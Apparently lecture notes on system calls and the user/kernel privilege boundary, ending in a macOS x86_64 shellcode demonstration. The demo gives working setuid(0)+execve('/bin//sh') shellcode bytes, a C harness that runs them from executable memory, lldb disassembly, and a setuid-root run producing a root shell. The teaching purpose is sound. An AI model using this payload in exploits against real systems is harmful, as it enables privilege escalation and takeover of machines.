========================[ System calls ]========================
To open, read, or write a file (as well as to check on the file's
permissions, timestamps, or whether the file with a given name
actually exists), or to create a new process from an executable file,
your program will somehow need to access the disk. Information,
including file names and their access permissions, is stored on the
disk in binary blocks, and there is a long chain of translations
between the contents of these block and the standard library functions
that your language uses to work on files or create new processes.
Somewhere in-between, there is an all-important jump between the
"userland" code and the operating system code. Think of it as a
checking funnel; before any change to the OS state (including disk)
can succeed, it should be checked for consistency and permissions.
Standard library functions like open(), read(), write(), socket(),
fork(), exec(), etc. all go through this funnel.
In modern systems, all these calls go through a single entry point in
the kernel that first checks the ownership and permissions of your
process vs the permissions of a file or directory, and rejects requests
that aren't permitted. If they are, this code dispatches the request
to the particular kernel drivers.
The most important idea here is that only code past this point can
affect the internal bookkeeping of the OS, the disk, and of other
devices. That way, the OS bookkeeping data is kept consistent, and
can't be maliciously or inadvertently corrupted by userland
programs. When trying to perform a potentially corrupting action,
these programs will run into errors or crash, but the OS will
continue, and your disk data blocks and process table will remain
consistent.
So in any language the standard system library functions translate the
requested operations to these primitive OS operations, *system
calls*. The library calls really serve as wrappers; the system calls
can be called directly from the binary code.
System calls are a part of the Application Binary Interface (ABI). A
program can perform system actions like input, output, or starting
other programs only through the ABI; otherwise, the system could be
crashed by any user program doing a wrong thing (as it used to happen
to MS-DOS, early Windows, and Mac OS prior to Mac OS X).
So standard system libraries serve as mere wrappers around system
calls. System calls are accomplished by a special instruction (such
as SYSCALL, SYSENTER, or INT 0x80, depending on your system) that
gives control to the kernel, and elevates the privilege of that code
to a higher level. The data of the disks or of the process table can
only be read or written at that privilege level (in x86, it is called
"ring 0", your userland program running at "ring 3"; lower ring number
means more privilege in x86 terms).
System calls have their own calling conventions, which may differ from
the normal function calling conventions (but, in 64-bit code, not
much, as arguments to system calls are still passed in registers.)
The biggest difference is that, after the arguments have been staged,
a function is called with the CALL
instruction, whereas the
system calls are initiated with SYSCALL, SYSENTER, or INT 0x80. There
is no address the user can specify; instead, all system calls go to
a single entry point in the kernel, where the user code has no
control, and where the permissions for the requested operations are
checked.
Of all systems programming developments since 1990s, this scheme of
constructing OSes is still the most important in practical terms. We
learn the details of it in CS58 and in CS258, but it pays to
understand it no matter what kind of programming you do.
One important note about the system call ABI and convention: system
calls have numbers, not names. When making the system call in
assembly, its number is placed in RAX (or EAX). On {\tt x86_64},
arguments go into registers, in the same order as for function calls,
with an exception for {\tt rcx} (see the ABI documentation, section A.2.1).
Tables of these numbers are different for every OS; see below.
------------------------[ Shell code ]------------------------
Attackers typically don't start with access to the compiler build
chain on your system and to its standard libraries. However, software
vulnerabilities occasionally give them the opportunity to inject and
run some binary code snippets on your system, supplied via a buffer
overflow or some other memory corruption.
A binary code snippet that---when your program is somehow tricked
into running it---gives the attacker access to a command shell,
is called "shellcode". It usually combines one or more system calls.
There's a simple way of testing what these code snippets from a C
program: take the snippet as a string of bytes, copy them to an
executable memory region, and then JMP or CALL to the address where
they had been copied. The binary code will execute, and will
give you shell---from a program whose code looks nothing like
starting a new process or executing the shell like "/bin/bash"
or "/bin/sh"!
------------------------[ MacOS X system calls ]------------------------
About MacOS X system calls:
https://filippo.io/making-system-calls-from-assembly-in-mac-os-x/
http://opensource.apple.com//source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master
http://dustin.schultz.io/blog/2010/11/15/mac-os-x-64-bit-assembly-system-calls/
https://developer.apple.com/library/content/documentation/Darwin/Conceptual/KernelProgramming/BSD/BSD.html
// Relevant syscalls: 0x17 and 0x17+0x24
// 23 AUE_SETUID ALL { int setuid(uid_t uid); }
// 59 AUE_EXECVE ALL { int execve(char *fname, char **argp, char **envp); }
$ gcc -Wall -o shellcode shellcode.c
$ cat shellcode.c
#include
#include
#include
#include
int (*sc)();
char shellcode[] =
"\x41\xb0\x02\x49\xc1\xe0\x18\x49\x83\xc8\x17\x31\xff\x4c\x89\xc0"
"\x0f\x05\xeb\x12\x5f\x49\x83\xc0\x24\x4c\x89\xc0\x48\x31\xd2\x52"
"\x57\x48\x89\xe6\x0f\x05\xe8\xe9\xff\xff\xff\x2f\x62\x69\x6e\x2f"
"\x2f\x73\x68";
int main(int argc, char **argv) {
/* create a new executable and writable memory region (in reality, a 4K page) */
void *ptr = mmap(0, 0x33, PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON
| MAP_PRIVATE, -1, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
exit(-1);
}
memcpy(ptr, shellcode, sizeof(shellcode));
sc = ptr;
sc();
return 0;
}
$ ./shellcode
sh-3.2$ exit
$ lldb ./shellcode
(lldb) target create "./shellcode"
2016-09-28 15:55:45.708 lldb[2026:102216] Metadata.framework [Error]: couldn't get the client port
Current executable set to './shellcode' (x86_64).
(lldb) run
Process 2029 launched: './shellcode' (x86_64)
Process 2029 stopped
* thread #1: tid = 0x18f4c, 0x00007fff5fc01000 dyld`_dyld_start, stop reason = exec
frame #0: 0x00007fff5fc01000 dyld`_dyld_start
dyld`_dyld_start:
-> 0x7fff5fc01000 <+0>: popq %rdi
0x7fff5fc01001 <+1>: pushq $0x0
0x7fff5fc01003 <+3>: movq %rsp, %rbp
0x7fff5fc01006 <+6>: andq $-0x10, %rsp
(lldb) help disas
(lldb) disas -p
dyld`_dyld_start:
-> 0x7fff5fc01000 <+0>: popq %rdi
0x7fff5fc01001 <+1>: pushq $0x0
0x7fff5fc01003 <+3>: movq %rsp, %rbp
0x7fff5fc01006 <+6>: andq $-0x10, %rsp
(lldb) b main
Breakpoint 1: no locations (pending).
WARNING: Unable to resolve breakpoint to any actual locations.
(lldb) run
There is a running process, kill it and restart?: [Y/n] y
Process 2029 exited with status = 9 (0x00000009)
Process 2048 launched: '/usr/lib/dyld' (x86_64)
1 location added to breakpoint 1
Process 2048 stopped
* thread #1: tid = 0x1910a, 0x0000000100000e80 shellcode`main, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x0000000100000e80 shellcode`main
shellcode`main:
-> 0x100000e80 <+0>: pushq %rbp
0x100000e81 <+1>: movq %rsp, %rbp
0x100000e84 <+4>: subq $0x30, %rsp
0x100000e88 <+8>: xorl %eax, %eax
(lldb) ^D
$ lldb ./shellcode
(lldb) target create "./shellcode"
2016-09-28 15:58:19.633 lldb[2063:102952] Metadata.framework [Error]: couldn't get the client port
Current executable set to './shellcode' (x86_64).
(lldb) b main
Breakpoint 1: where = shellcode`main, address = 0x0000000100000e80
(lldb) run
Process 2064 launched: './shellcode' (x86_64)
Process 2064 stopped
* thread #1: tid = 0x19237, 0x0000000100000e80 shellcode`main, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x0000000100000e80 shellcode`main
shellcode`main:
-> 0x100000e80 <+0>: pushq %rbp
0x100000e81 <+1>: movq %rsp, %rbp
0x100000e84 <+4>: subq $0x30, %rsp
0x100000e88 <+8>: xorl %eax, %eax
(lldb) target var shellcode
error: can't find global variable 'shellcode'
(lldb) ^D
$ gcc -g -Wall -o shellcode shellcode.c
$ lldb ./shellcode
(lldb) target create "./shellcode"
2016-09-28 16:00:20.901 lldb[2080:103442] Metadata.framework [Error]: couldn't get the client port
Current executable set to './shellcode' (x86_64).
(lldb) ta v shellcode
(char [52]) shellcode = "A?\x02I??\x18I\x83?1?L\x89?\x05?_I\x83?$L\x89?H1?RWH\x89??????/bin//sh"
(lldb) disas -s shellcode
error: address expression "shellcode" resulted in a value whose type can't be converted to an address: char [52]
(lldb) disas -s &shellcode[0]
shellcode`shellcode:
shellcode[0x100001030] <+0>: movb $0x2, %r8b
shellcode[0x100001033] <+3>: shlq $0x18, %r8
shellcode[0x100001037] <+7>: orq $0x17, %r8
shellcode[0x10000103b] <+11>: xorl %edi, %edi
shellcode[0x10000103d] <+13>: movq %r8, %rax
shellcode[0x100001040] <+16>: syscall
shellcode[0x100001042] <+18>: jmp 0x100001056 ; shellcode + 38
shellcode[0x100001044] <+20>: popq %rdi
shellcode[0x100001045] <+21>: addq $0x24, %r8
shellcode[0x100001049] <+25>: movq %r8, %rax
shellcode[0x10000104c] <+28>: xorq %rdx, %rdx
shellcode[0x10000104f] <+31>: pushq %rdx
(lldb) disas -b -s &shellcode[0]
shellcode`shellcode:
shellcode[0x100001030] <+0>: 41 b0 02 movb $0x2, %r8b
shellcode[0x100001033] <+3>: 49 c1 e0 18 shlq $0x18, %r8
shellcode[0x100001037] <+7>: 49 83 c8 17 orq $0x17, %r8
shellcode[0x10000103b] <+11>: 31 ff xorl %edi, %edi
shellcode[0x10000103d] <+13>: 4c 89 c0 movq %r8, %rax
shellcode[0x100001040] <+16>: 0f 05 syscall
shellcode[0x100001042] <+18>: eb 12 jmp 0x100001056 ; shellcode + 38
shellcode[0x100001044] <+20>: 5f popq %rdi
shellcode[0x100001045] <+21>: 49 83 c0 24 addq $0x24, %r8
shellcode[0x100001049] <+25>: 4c 89 c0 movq %r8, %rax
shellcode[0x10000104c] <+28>: 48 31 d2 xorq %rdx, %rdx
shellcode[0x10000104f] <+31>: 52 pushq %rdx
(lldb) disas -b -s &shellcode[0] -e &shellcode[sizeof(shellcode)]
shellcode`shellcode:
shellcode[0x100001030] <+0>: 41 b0 02 movb $0x2, %r8b
shellcode[0x100001033] <+3>: 49 c1 e0 18 shlq $0x18, %r8
shellcode[0x100001037] <+7>: 49 83 c8 17 orq $0x17, %r8
shellcode[0x10000103b] <+11>: 31 ff xorl %edi, %edi
shellcode[0x10000103d] <+13>: 4c 89 c0 movq %r8, %rax
shellcode[0x100001040] <+16>: 0f 05 syscall
shellcode[0x100001042] <+18>: eb 12 jmp 0x100001056 ; shellcode + 38
shellcode[0x100001044] <+20>: 5f popq %rdi
shellcode[0x100001045] <+21>: 49 83 c0 24 addq $0x24, %r8
shellcode[0x100001049] <+25>: 4c 89 c0 movq %r8, %rax
shellcode[0x10000104c] <+28>: 48 31 d2 xorq %rdx, %rdx
shellcode[0x10000104f] <+31>: 52 pushq %rdx
shellcode[0x100001050] <+32>: 57 pushq %rdi
shellcode[0x100001051] <+33>: 48 89 e6 movq %rsp, %rsi
shellcode[0x100001054] <+36>: 0f 05 syscall
shellcode[0x100001056] <+38>: e8 e9 ff ff ff callq 0x100001044 ; shellcode + 20
(lldb) mem read -fx -s1 shellcode
error: invalid start address expression.
error: address expression "shellcode" resulted in a value whose type can't be converted to an address: char [52]
(lldb) mem read -fx -s1 &shellcode[0]
0x100001030: 0x41 0xb0 0x02 0x49 0xc1 0xe0 0x18 0x49
(lldb)
0x100001038: 0x83 0xc8 0x17 0x31 0xff 0x4c 0x89 0xc0
(lldb)
0x100001040: 0x0f 0x05 0xeb 0x12 0x5f 0x49 0x83 0xc0
(lldb)
0x100001048: 0x24 0x4c 0x89 0xc0 0x48 0x31 0xd2 0x52
(lldb) mem read -fc -s1 &shellcode[0]
0x100001030: A?\x02I??\x18I\x83?\x171?L\x89?\x0f\x05?\x12_I\x83?$L\x89?H1?R
0x100001050: WH\x89?\x0f\x05?????/bin//sh\0\0\0\0\0\0\0\0\0\0\0\0\0
warning: Not all bytes (52/64) were able to be read from 0x100001030.
(lldb) disas -b -s &shellcode[0] -e &shellcode[sizeof(shellcode)]
shellcode`shellcode:
shellcode[0x100001030] <+0>: 41 b0 02 movb $0x2, %r8b
shellcode[0x100001033] <+3>: 49 c1 e0 18 shlq $0x18, %r8
shellcode[0x100001037] <+7>: 49 83 c8 17 orq $0x17, %r8
shellcode[0x10000103b] <+11>: 31 ff xorl %edi, %edi
shellcode[0x10000103d] <+13>: 4c 89 c0 movq %r8, %rax
shellcode[0x100001040] <+16>: 0f 05 syscall
shellcode[0x100001042] <+18>: eb 12 jmp 0x100001056 ; shellcode + 38
shellcode[0x100001044] <+20>: 5f popq %rdi
shellcode[0x100001045] <+21>: 49 83 c0 24 addq $0x24, %r8
shellcode[0x100001049] <+25>: 4c 89 c0 movq %r8, %rax
shellcode[0x10000104c] <+28>: 48 31 d2 xorq %rdx, %rdx
shellcode[0x10000104f] <+31>: 52 pushq %rdx
shellcode[0x100001050] <+32>: 57 pushq %rdi
shellcode[0x100001051] <+33>: 48 89 e6 movq %rsp, %rsi
shellcode[0x100001054] <+36>: 0f 05 syscall
shellcode[0x100001056] <+38>: e8 e9 ff ff ff callq 0x100001044 ; shellcode + 20
(lldb) ^D
$ sudo bash
Password:
bash-3.2# chown root ./shellcode
bash-3.2# chmod u+s ./shellcode
bash-3.2# exit
$ ls -l shellcode
-rwsr-xr-x 1 root staff 9000 Sep 28 16:00 shellcode
$ ./shellcode
sh-3.2# id
uid=0(root) gid=0(wheel) egid=20(staff) groups=0(wheel),1(daemon),2(kmem),3(sys),4(tty),5(operator),8(procview),9(procmod),12(everyone),20(staff),29(certusers),61(localaccounts),80(admin),33(_appstore),98(_lpadmin),100(_lpoperator),204(_developer),398(com.apple.access_screensharing),399(com.apple.access_ssh),702(com.apple.sharepoint.group.2)
sh-3.2# exit
$ mv shellcode shellcode-suid
$ ./shellcode-suid
sh-3.2# id
uid=0(root) gid=0(wheel) egid=20(staff) groups=0(wheel),1(daemon),2(kmem),3(sys),4(tty),5(operator),8(procview),9(procmod),12(everyone),20(staff),29(certusers),61(localaccounts),80(admin),33(_appstore),98(_lpadmin),100(_lpoperator),204(_developer),398(com.apple.access_screensharing),399(com.apple.access_ssh),702(com.apple.sharepoint.group.2)